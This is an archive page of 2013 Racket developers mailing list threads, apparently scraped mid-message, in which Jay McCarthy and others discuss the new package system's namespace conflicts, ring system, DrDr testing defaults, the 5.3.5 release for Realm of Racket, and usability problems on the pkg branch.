 avoid for other reasons.

 Since technical solutions to this problem are lacking,

 An easy way to make it a non problem would be to eliminate the extra
 indirection that is in package names: if the package that Carl is
 asking about is *named* data/red-black-tree then it clearly
 conflicts with another package with the same name.

 --
   ((lambda (x) (x x)) (lambda (x) (x x)))  Eli Barzilay:
 http://barzilay.org/   Maze is Life!



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Package compatibility

2013-07-07 Thread Jay McCarthy
On Sun, Jul 7, 2013 at 11:44 AM, Carl Eastlund c...@ccs.neu.edu wrote:
 It seems to me our new package system runs into trouble if two people write
 packages that use the same connection name.  Let's say we have two packages,
 alice-tree and bob-tree, both of which provide the collection
 data/red-black-tree, but both provide different interfaces (perhaps similar
 functionality with different naming conventions).  It seems to me this is
 not that unlikely to happen, but once it does, those two packages are
 completely incompatible.  They can never meaningfully be installed on the
 same system, and if they are, the behavior of any code depending on either
 becomes undefined.

 Have I got this right, or have I missed some detail?

You are correct.

 If this is right, how
 concerned are we about this feature?  The fact that packages are all spliced
 into a single flat collection namespace of course leads to the possibility
 of clashes like this, which can cause not just incompatibility between
 alice-tree and bob-tree, but a complete schism wherein all code depending on
 alice-tree at any level of indirection becomes completely disjoint from all
 code depending on bob-tree at any level of indirection.  I've seen this kind
 of library incompatibility before, in the ACL2 books, and I wrote a
 dissertation to try to solve it.  I hope we're not repeating their mistake,
 but it seems like we have yet another flat namespace with no resolution
 mechanism.

Planet attempts to solve this problem technically by (a) having all
collections be prefixed by author/package-name and (b) mandating a
centralized server that enforces unique authors and unique
package-names per author. Since Racket packages don't have a
mandated central server we can't enforce uniqueness like that. (i.e.
even if we mandated the prefix by package-name, there's no way to
enforce unique package names across the universe without a central
server.) Furthermore, bringing package-names in to the code would
give us /internal linking/ which Racket packages are designed to avoid
for other reasons.

Since technical solutions to this problem are lacking, I/we/PLT
(depending on the level of agreement with this idea) are trying to
solve this problem socially by rewarding package authors (who list
their packages on the PLT run server) with the ring system. Ring 1
packages can't conflict with each other and my desire is for only ring
1 and 0 packages to be listed in the DrRacket GUI. Ring 0 packages
can't conflict with each other and must be good (have documentation,
tests, etc). The goodie they get is that their packages will be tested
with DrDr and we'll build their documentation and include it on the
main site.

Jay

 Carl Eastlund

 _
   Racket Developers list:
   http://lists.racket-lang.org/dev




--
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] What command should DrDr run by default?

2013-07-06 Thread Jay McCarthy
Thanks for taking care of this. I'll push it out to the live DrDr site shortly.

On Sat, Jul 6, 2013 at 8:31 AM, Sam Tobin-Hochstadt sa...@ccs.neu.edu wrote:
 These are now both done. Jay, if there's some bit of documentation I
 missed, please let me know.

 Sam

 On Sat, Jul 6, 2013 at 10:03 AM, Robby Findler
 ro...@eecs.northwestern.edu wrote:
 I would say that if you know where to change, please go ahead.

 Robby


 On Sat, Jul 6, 2013 at 8:56 AM, Sam Tobin-Hochstadt sa...@ccs.neu.edu
 wrote:

 Should I change the docs as well?  Or do you want to do that, Jay?

 On Sat, Jul 6, 2013 at 9:53 AM, Robby Findler
 ro...@eecs.northwestern.edu wrote:
  That's the plan. Thanks for fixing them.
 
  Robby
 
 
  On Sat, Jul 6, 2013 at 8:47 AM, Sam Tobin-Hochstadt sa...@ccs.neu.edu
  wrote:
 
  I recently discovered that DrDr runs `raco test` by default on files,
  and has since February. However, the DrDr documentation says that it
  runs `racket -t`.  I discovered this because the change caused many of
  the `net` tests to no longer actually run; see
 
 
 
  http://drdr.racket-lang.org/27042/pkgs/racket-pkgs/racket-test/tests/net/url.rkt
 
  which appears to be successful, even though running `racket` on that
  file would have shown the error that I fixed in
  https://github.com/plt/racket/commit/a4e529a816 . These tests are a
  particularly bad case because they run all their tests in the `main`
  submodule, and thus are *not* executed by `raco test`. If the plan is
  for everything to run with `raco test`, I'll fix these tests.  But
  what is the plan?
 
  Sam
  _
Racket Developers list:
http://lists.racket-lang.org/dev
 
 





-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Package management

2013-06-30 Thread Jay McCarthy
And that's why I made it do that.

On Thu, Jun 27, 2013 at 3:03 PM, Eli Barzilay e...@barzilay.org wrote:
 An hour and a half ago, Sam Tobin-Hochstadt wrote:
 On Thu, Jun 27, 2013 at 3:17 PM, Matthew Flatt mfl...@cs.utah.edu wrote:
  The package system has a notion of auto packages, which are
  packages that were automatically installed to satisfy
  dependencies. Also, `raco pkg remove' supports an `--auto' flag
  for automatically removing auto packages that have no non-auto
  packages depending on them.

 Note that this is also how the deb package manager (on
 Debian/Ubuntu/etc) works, so we have good precedent here.

 I think that all distros do that for a number of years now.

 --
   ((lambda (x) (x x)) (lambda (x) (x x)))  Eli Barzilay:
 http://barzilay.org/   Maze is Life!
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] release 5.3.5

2013-06-15 Thread Jay McCarthy
On Sat, Jun 15, 2013 at 8:50 AM, Greg Hendershott
greghendersh...@gmail.com wrote:
 1. I'm really excited about the book, which I'll buy.

 2. Issuing a release solely to ship code for a book:

   a. Seems unusual (to me), in general.

   b. Plus right now, message seems at odds with the new package
 manager and plan to move away from shipping monolithic collects?

   Admittedly that plan isn't in effect yet. But code for a book is a
 use case that today's package manager supports AFAICT. So why accrete
 another collection, is the reaction.

The problem is that the book has collects/realm printed in it and
was designed simultaneously with the package system, so it wasn't
clear to make it a package, how to describe getting it, etc.

Jay

 p.s. I'm sharing an observation casually, not stating an objection angrily.



 On Sat, Jun 15, 2013 at 9:46 AM, Matthias Felleisen
 matth...@ccs.neu.edu wrote:

 We will release Racket v5.3.5 next week. The purpose of the
 release is to include the Realm of Racket collection with the
 v5.3.4 release, because the book is about to appear.

 The release will strictly be built from

 -- Racket v5.3.4
 -- collects/realm as currently found in git head

 We will __not__ make any other changes.

 Eli has worked out a process and will launch it asap. We will
 conduct a recursive diff of all .rkt files and we will run
 basic checks to ensure the integrity of the release bundle.
 If you're willing to help with these checks, please stay tuned.

 
 DRAFT RELEASE ANNOUNCEMENT:

 Racket version 5.3.5 is now available from

  http://racket-lang.org/

 This is a special-purpose release to match the arrival of
 Realm of Racket in bookstores. Racket v.5.3.5 adds a
 single collection

 collects/realm/

 to the v5.3.4 release. The new collection contains the source
 code that readers of Realm may wish to use for experiments.
 

 Comments welcome. -- Matthias
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



--
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] experience using the `pkg` branch

2013-06-14 Thread Jay McCarthy
True, but in this case, the code that is doing that reading knows what
the package was and could give a good error message.

Jay

On Thu, Jun 13, 2013 at 9:13 PM, Robby Findler
ro...@eecs.northwestern.edu wrote:
 WRT to the stacktrace below, I guess that if the info.rkt file had been in a
 suggestively named directory, e.g.,

 /var/tmp/pkg13711534991371153499937/future-visualizer/info.rkt

 (assuming that the package's name was future-visualizer) that might have
 been a useful clue.

 Robby



 On Thu, Jun 13, 2013 at 9:56 PM, Jay McCarthy jay.mccar...@gmail.com
 wrote:

 On Thu, Jun 13, 2013 at 3:56 PM, Sam Tobin-Hochstadt sa...@ccs.neu.edu
 wrote:
  As part of my experiment in creating a different split of the
  repository into packages, I spent some time working with the new setup
  for building Racket, and cut myself on many of it's rough edges.  Some
  of these are about the package system in general, and some are about
  the new repository and build infrastructure.
 
  * When there's an installation error, it's really hard to tell what
  state you're in, or what you should do to fix it.  Usually, the
  package manager just says that it's already installed.
 
  This is a general issue in the package system, and it's easily the
  most significant problem I encountered. The package system decides
  that something is installed very early, and many errors are possible
  after that. If the package didn't build, or it's dependencies didn't
  build, or any of many other things happened, the package system thinks
  everything is ok.

 The package system says something is installed when the files are in
 place and the link is made. From some perspective, that's its job.
 Knowing whether 'raco setup' will succeed after those are in place
 isn't really possible beforehand and I don't think the idea of 'run
 raco setup and uninstall if it fails' is robust against the sorts of
 realistic and innocuous problems that raco setup can report. Maybe you
 could be more specific about what error you saw and what you wish had
 happened.

  * The error message when you look for a missing collection is really
  long if you have a lot of packages installed
 
  * Using parallel make, ie `make -j 8` doesn't work from the new
  top-level Makefile.
 
  * Even though unix systems don't use them, the extra libraries are
  downloaded and packaged up on unix platforms while building.
 
  * When installing a package with a long chain of dependencies, this
  message gets printed a lot:
 
  The following packages are listed as dependencies, but are not
  currently installed,
  so they will be automatically installed:
  at-exp-lib syntax-color
  The following packages are listed as dependencies, but are not
  currently installed,
  so they will be automatically installed:
  parser-tools
 
  and so on ...
 
  We should just collect all the packages to be installed and print them
  all at once (and perhaps prompt, the way `apt-get` does).

 Since package dependencies are in the package and not otherwise
 available, the manager is asking for permission to do a download.
 After doing the download, it can then look at the dependencies and see
 if there more. 'apt-get', etc have more monolithic repository
 structures than our package system, so they can analyze everything
 locally and compute the transitive closure. Furthermore, 'raco pkg' is
 prompting you, but you have it set on auto (the default) so it's
 equivalent to 'yes | apt-get'

  * I think it's possible to confuse the local catalog by moving
  directories around in the `pkg` directory.
 
  * `make local-catalog` is not incremental -- it always re-downloads
  and re-packs the external libraries.
 
  * Sometimes, errors can be hard to trace to a particular package.  For
  example, this one was because there was a mistake in the
  future-visualizer package info.rkt file.  But I had to go groveling in
  /var/tmp/ to figure that out.
 
  /var/tmp/pkg13711534991371153499937/info.rkt::212: read: expected a
  closing ''
context...:
 
  /home/samth/tmp/pkg-racket/racket/lib/collects/syntax/module-reader.rkt:176:17:
  body
 
  /home/samth/tmp/pkg-racket/racket/lib/collects/syntax/module-reader.rkt:173:2:
  wrap-internal
 lang:read
 
  /home/samth/tmp/pkg-racket/racket/lib/collects/setup/getinfo.rkt:50:8:
  temp32
 
  /home/samth/tmp/pkg-racket/racket/lib/collects/setup/getinfo.rkt:37:0:
  get-info/full/ext
 /home/samth/tmp/pkg-racket/racket/lib/collects/setup/getinfo.rkt:33:0
 /home/samth/tmp/pkg-racket/racket/lib/collects/pkg/lib.rkt:1274:0:
  pkg-single-collection85

 Are there other examples? This stack trace is useful to just put a
 with-handlers at the right spot.

  Other errors are also hard to track down. In general, it would be very
  helpful to catch setup errors and report them based on the package
  being installed and/or the collection being set up.
 
  Sam
  _
Racket Developers list:
http://lists.racket-lang.org/dev

Re: [racket-dev] experience using the `pkg` branch

2013-06-14 Thread Jay McCarthy
On Fri, Jun 14, 2013 at 6:19 AM, Sam Tobin-Hochstadt sa...@ccs.neu.edu wrote:
 On Thu, Jun 13, 2013 at 10:56 PM, Jay McCarthy jay.mccar...@gmail.com wrote:
 On Thu, Jun 13, 2013 at 3:56 PM, Sam Tobin-Hochstadt sa...@ccs.neu.edu 
 wrote:
 * The error message when you look for a missing collection is really
 long if you have a lot of packages installed

 * Using parallel make, ie `make -j 8` doesn't work from the new
 top-level Makefile.

 * Even though unix systems don't use them, the extra libraries are
 downloaded and packaged up on unix platforms while building.

 * When installing a package with a long chain of dependencies, this
 message gets printed a lot:

 The following packages are listed as dependencies, but are not
 currently installed,
 so they will be automatically installed:
 at-exp-lib syntax-color
 The following packages are listed as dependencies, but are not
 currently installed,
 so they will be automatically installed:
 parser-tools

 and so on ...

 We should just collect all the packages to be installed and print them
 all at once (and perhaps prompt, the way `apt-get` does).

 Since package dependencies are in the package and not otherwise
 available, the manager is asking for permission to do a download.
 After doing the download, it can then look at the dependencies and see
 if there more. 'apt-get', etc have more monolithic repository
 structures than our package system, so they can analyze everything
 locally and compute the transitive closure. Furthermore, 'raco pkg' is
 prompting you, but you have it set on auto (the default) so it's
 equivalent to 'yes | apt-get'

 Ah, that makes a lot of sense.

 Could we do something different in auto mode to just print out the
 packages that were installed at the end?

Yes, that's a good idea. I'll do that.

 * I think it's possible to confuse the local catalog by moving
 directories around in the `pkg` directory.

 * `make local-catalog` is not incremental -- it always re-downloads
 and re-packs the external libraries.

 * Sometimes, errors can be hard to trace to a particular package.  For
 example, this one was because there was a mistake in the
 future-visualizer package info.rkt file.  But I had to go groveling in
 /var/tmp/ to figure that out.

 /var/tmp/pkg13711534991371153499937/info.rkt::212: read: expected a closing 
 ''
   context...:

 /home/samth/tmp/pkg-racket/racket/lib/collects/syntax/module-reader.rkt:176:17:
 body

 /home/samth/tmp/pkg-racket/racket/lib/collects/syntax/module-reader.rkt:173:2:
 wrap-internal
lang:read
/home/samth/tmp/pkg-racket/racket/lib/collects/setup/getinfo.rkt:50:8: 
 temp32
/home/samth/tmp/pkg-racket/racket/lib/collects/setup/getinfo.rkt:37:0:
 get-info/full/ext
/home/samth/tmp/pkg-racket/racket/lib/collects/setup/getinfo.rkt:33:0
/home/samth/tmp/pkg-racket/racket/lib/collects/pkg/lib.rkt:1274:0:
 pkg-single-collection85

 Are there other examples? This stack trace is useful to just put a
 with-handlers at the right spot.

 I got plenty of `raco setup` errors that were hard to track down in
 the same way. Those don't have a stacktrace, though.  I can't remember
 any others that were like this one.

 Sam



--
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] experience using the `pkg` branch

2013-06-14 Thread Jay McCarthy
  that results in some new packages and some old packages.

  This, by the way, is the most common standard of 'worked-ness' on
  Linux package systems, like pacman, apt-get, etc, that 'raco pkg' is
  based on. These end-user tools don't enforce anything when an
  install happens and sometimes there are mistakes by package
  developers that cause something to break on an end-user system and
  it has to be dealt with somewhere on the developer side.

In other words, there is *no* error that can happen during 'raco
setup' that breaks the package system. Sam's question about what do I
run to fix things doesn't make sense to me, because there can't be
anything wrong at that point. If you are using links and then go
change the code in response to a 'raco setup' error, you don't need to
tell the package system at all, you just run 'raco setup' (with no
arguments so it runs on everything) again.

--

Given that I think we can't enforce higher standards technically, my
goal has been to enforce standard (2) with the concept of ring-0
packages. To remind you,

 ring-2: No constraints

 ring-1: Cannot conflict with any package in ring-1 or ring-0.

 ring-0: Must contain tests that I can run on DrDr and that pass
 reliably

Once that is in place, the next step would to make it difficult to
install anything other than ring-0 packages. (For instance, not
offering auto-install and not having them in the central documentation
site.) The goal would be to make it so that 'raco setup' never errors.



--
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


  1   2   3   4   5   >